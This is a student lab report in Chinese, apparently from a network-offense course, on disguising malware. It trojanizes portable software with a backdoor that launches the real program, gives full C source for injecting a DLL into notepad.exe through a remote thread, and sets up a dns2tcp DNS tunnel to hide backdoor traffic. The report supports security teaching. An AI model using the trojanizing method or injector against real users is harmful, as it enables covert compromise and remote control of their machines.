zoukankan      html  css  js  c++  java
  • 20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践

    20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践

    木马化正常软件

    • 思路:
      • 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如测试模式.exe),然后通过之前实验的方法半手动编译一个后门exe程序,在原本的后门程序代码中加入对原本的程序主文件(现在的dll文件)调用,打开正常的程序。这样就可以实现隐蔽的后门,还可以诱导客户打开后门文件而不知道,也是所谓的“绿色软件”不绿色的原因。

    实践过程

    • 这里的实践是通过一种伪装,将后门伪装成软件的运行程序,将原本的运行程序伪装成其他的文件,诱使用户打开后门程序:
    • 先对之前的后门代码修改一下,其实就是加入了打开另外一个exe文件的命令:

    • 然后把生成的exe文件改名后放在软件的目录中:

    • 运行之后果然可以打开目的软件,回连自然也是可以的。
    • 通过wireshake抓包可以看出来,当我打开执行文件之后,在运行目标软件的同时也在尝试回连攻击方,在这里我没有打开攻击方虚拟机,所以ARP没有对这次回连进行响应,但是如果打开的话是肯定可以回连的。

    • 现在回头看一下电脑里面的“绿色免安装版”游戏,真的是不能再爱了:

    • 是不是和刚刚我把后门伪装起来的方法很像?所以如果这些所谓的绿色软件想植入后门,简直太容易了,而且很大可能性他们已经植入了。
    • 所以官方软件在下载的时候都会提供MD5来给用户校验自己的软件有没有被人给篡改。
    • ps:在后门程序编译的时候进入项目的属性中可以修改编译方式为静态库,这样生成的exe文件就可以独立运行,而不提示缺少dll了。

    DLL注入技术实现后门注入

    • 思路:
      • DLL注入是将DLL注入到其他进程中的源程序之中,使用DLL注入器的软件肯定是比较方便的,但是要注入后门肯定不能告诉别人说你安装一个DLL注入器把我的后门注入进去吧,还是要靠编写代码来实现进入指定进程的地址空间,将调用后门的代码写入运行的进程之中。
      • 对于DLL注入的方法网上资料相对比较丰富,但是在本次实践中时间紧张,不知道能不能搞出来。

    实践过程

    • 参考代码段:

    • 用于注入dll到指定进程的exe程序代码,这里指定的是记事本进程:

    #include "stdafx.h"
    #include <stdio.h> 
    #include <Windows.h> 
    #include <TlHelp32.h> 
    
    
    DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID 
    {
    	DWORD dwRet = 0;
    	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (hSnapShot == INVALID_HANDLE_VALUE)
    	{
    		printf("
    获得进程快照失败%d", GetLastError());
    		return dwRet;
    	}
    
    	PROCESSENTRY32 pe32;//声明进程入口对象 
    	pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小 
    	Process32First(hSnapShot, &pe32);//遍历进程列表 
    	do
    	{
    		if (!lstrcmp(pe32.szExeFile, lpProcessName))//查找指定进程名的PID 
    		{
    			dwRet = pe32.th32ProcessID;
    			break;
    		}
    	} while (Process32Next(hSnapShot, &pe32));
    	CloseHandle(hSnapShot);
    	return dwRet;//返回 
    }
    
    INT main(INT argc, CHAR * argv[])
    {
    	DWORD dwPid = getProcessHandle("notepad.exe");
    	LPCSTR lpDllName = "dll_test.dll";
    	HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPid);
    	if (hProcess == NULL)
    	{
    		printf("
    获取进程句柄错误%d", GetLastError());
    		return -1;
    	}
    	DWORD dwSize = strlen(lpDllName) + 1;
    	DWORD dwHasWrite;
    	LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    	if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwHasWrite))
    	{
    		if (dwHasWrite != dwSize)
    		{
    			VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
    			CloseHandle(hProcess);
    			return -1;
    		}
    
    	}
    	else
    	{
    		printf("
    写入远程进程内存空间出错%d。", GetLastError());
    		CloseHandle(hProcess);
    		return -1;
    	}
    
    	DWORD dwNewThreadId;
    	LPVOID lpLoadDll = LoadLibraryA;
    	HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
    	if (hNewRemoteThread == NULL)
    	{
    		printf("
    建立远程线程失败%d", GetLastError());
    		CloseHandle(hProcess);
    		return -1;
    	}
    
    	WaitForSingleObject(hNewRemoteThread, INFINITE);
    	CloseHandle(hNewRemoteThread);
    
    	//准备卸载之前注入的Dll 
    	DWORD dwHandle, dwID;
    	LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄 
    	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
    	WaitForSingleObject(hThread, INFINITE);
    	GetExitCodeThread(hThread, &dwHandle);//线程的结束码即为Dll模块儿的句柄 
    	CloseHandle(hThread);
    	pFunc = FreeLibrary;
    	hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID); //将FreeLibraryA注入到远程线程中去卸载Dll 
    	WaitForSingleObject(hThread, INFINITE);
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    	return 0;
    }
    
    • 尝试去注入进程:
    • 当指定进程未开启时,连接不到进程:

    • 当进程开启时,连接到进程但建立线程失败:

    • 查找了一个出错函数的erro值含义了解到是因为拒绝访问而出错,接下来尝试提升权限来试试或者更改路径等方法
    • 生成dll程序的代码:

    。。。。。。(待补全)

    DNS隧道技术实践实现后门通信隐藏。

    简介

    • 隧道技术(Tunneling)是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送。新的帧头提供路由信息,以便通过互联网传递被封装的负载数据。

    DNS隧道设置

    • 使用了三台虚拟机:攻击主机-KALI;DNS服务器-windows 2008;目标靶机-KALI。

    DNS服务器设置(IP-192.168.1.242)

    • 首先需要一台主机作为DNS服务器,在这次实验中我用的是2008系统,建立DNS服务器的过程在网上很多,大致就是像之前建立IIS一样新建角色,然后在DNS服务器中添加主机,添加的主机的IP设为攻击主机的IP,然后新建立一个委托,域名我设置成了cy.caiye.com

    攻击主机设置(IP-192.168.1.180)

    • 接下来的所有修改建议修改之前先备份
    • 修改dns2tcpd配置文件:

    • 启动dns隧道的服务端:

    客户端配置(IP-192.168.52.128)

    • 先删除ssh连接的known_hosts文件,可以避免出现一些ssh连接的问题,然后修改DNS解析文件:vim /etc/resolv.conf,将地址改为之前DNS服务器的地址:

    • 配置dns隧道客户端程序
    • 因为在kali2中,本身没有配置文件,所以需要自己写配置文件vim /etc/dns2tcpc.conf,然后通过dns2tcpc -z cy.caiye.com测试是否可以提供服务:

    • 这个时候就可以测试连接了(dns2tcpc -c -f /etc/dns2tcpc.conf指令来监听连接):

    • 在ssh的连接过程中遇到了一些问题,在网上找到了一部分答案,这个资料中相对全面:资料链接

    • 实验连接测试结果:

    • 下面是通过控制对方主机的一个客户获得root权限,然后在对方主机中新建了一个test文件

    • 从结果上看,虽然实现了通过dns隧道通信来操控另外一台主机的效果,但是与实验预期的不一样,变成了靶机操控攻击端(也可能是我对dns通信过程的理解不深,反正做出来的结果和想的不一样 = =!),而且通过第二章图片攻击端的反馈信息来看,建立的连接也不是预期的效果,存在问题,希望可以通过以后的学习来解开这些疑问。

    实践感想

    • 本次进阶实践感觉还是很困难的,认识到自己的能力很弱,基础知识不够,三个实践内容都不简单,勉强做了一些但是还存在许多问题,希望有其他人可以做出来,然后互相学习一下思路和方法。

    参考资料

  • 相关阅读:
    高德地图的使用点标记、折线标记
    vue 过滤器filter(全面)
    vue cli4.0 快速搭建项目详解
    vue cli3.0快速搭建项目详解(强烈推荐)
    路由传参的三种方法
    router-link 返回上页 和 新窗口打开链接
    Django REST framework+Vue 打造生鲜超市(一)
    Android笔记:波纹按钮
    简单更换博客园背景
    SUID,SGID和SBIT
  • 原文地址:https://www.cnblogs.com/20145208cy/p/6619052.html
Copyright © 2011-2022 走看看